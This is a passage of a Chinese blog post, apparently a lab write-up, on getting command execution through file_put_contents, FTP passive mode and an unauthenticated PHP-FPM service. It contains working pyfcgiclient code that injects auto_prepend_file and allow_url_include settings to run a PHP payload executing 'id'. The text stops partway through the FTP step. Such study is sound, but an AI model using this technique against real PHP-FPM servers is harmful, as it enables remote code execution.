file_put_contents + php-fpm 如何命令执行?

本文探讨了如何通过file_put_contents、FTP被动模式和php-fpm实现命令执行。首先介绍了PHP-FPM未授权访问时,通过修改auto_prepend_file或auto_append_file执行文件的原理。然后通过实验详细展示了如何在docker环境下构造数据包,利用pyfcgiclient和ftp passive mode来执行phpinfo。最后,给出了利用file_put_contents和ftp被动模式造成命令执行的步骤,并讨论了可能的其他利用方式。
摘要由CSDN通过智能技术生成

在阅读Laravel debug rce[1]的文章时,感叹文章中的技巧之余,有一句话引起了我的注意。
It is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, you can execute code on the machine.
众所周知,我不知呀!

本文学习file_put_contents + FTP + php-fpm的命令执行。

原理

参考[2],我们可以得知,PHP-FPM未授权访问时,可以通过修改变量auto_prepend_file或auto_append_file来执行文件。
根据[1]中描述,我们需要让file_put_contents时,将结果写到php-fpm,这样造成命令执行。

实验

php-fpm命令执行

docker起一个php-fpm的环境

docker pull wyveo/nginx-php-fpm
docker run -d wyveo/nginx-php-fpm

利用pyfcgiclient来发送fastcgi数据包

from pyfcgiclient.fpm import FPM

phpfpm = FPM(
    host='127.0.0.1',
    port=9000,
    sock="/run/php/php8.0-fpm.sock",
    document_root='/usr/share/nginx/html'
)

post_string = '<?php echo `id`;phpinfo(); exit();?>'

status_header, headers, output, error_message = phpfpm.load_url(
    url='/index.php?a=b',
    content=post_string,
    remote_addr='127.0.0.1',
    cookies='c=d;e=f;'
)
print(output)

由于有些参数我们没办法直接修改,就直接修改pyfcgiclient里面的文件。在pyfcgiclient的fpm.py的env中增加PHP_VALUE和PHP_ADMIN_VALUE

            'PHP_VALUE': 'auto_prepend_file = php://input',
            'PHP_ADMIN_VALUE': 'allow_url_include = On',

同时修改flup_fcgi_client.py中的_environPrefixes,增加PHP_

    _environPrefixes = ['SERVER_', 'HTTP_', 'REQUEST_', 'REMOTE_', 'PATH_',
                        'CONTENT_', 'DOCUMENT_', 'SCRIPT_','PHP_']

docker exec进入容器,下载对应文件,python执行,成功执行phpinfo。到这里,我们成功对php-fpm发包执行命令了。不过这里使用的是socket文件,不是ip+port的方式。后面我们需要修改配置。

ftp passive mode

ftp passive mode[4]

In the passive mode, the client uses the control connection to send a PASV command to the server and then receives a server IP address and server port number from the server, which the client then uses to open a data connection to the server IP address and server port number received.

我们试一下ftp passive mode。
使用pyftpdlib测试,basic_ftpd.py
我们设置passive_mode的ip和port,同时在php容器里面nc监听9000端口(为方便演示实验,缺少的bin文件都先准备好,如nc,lsof,xxd等)

    handler.masquerade_address 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值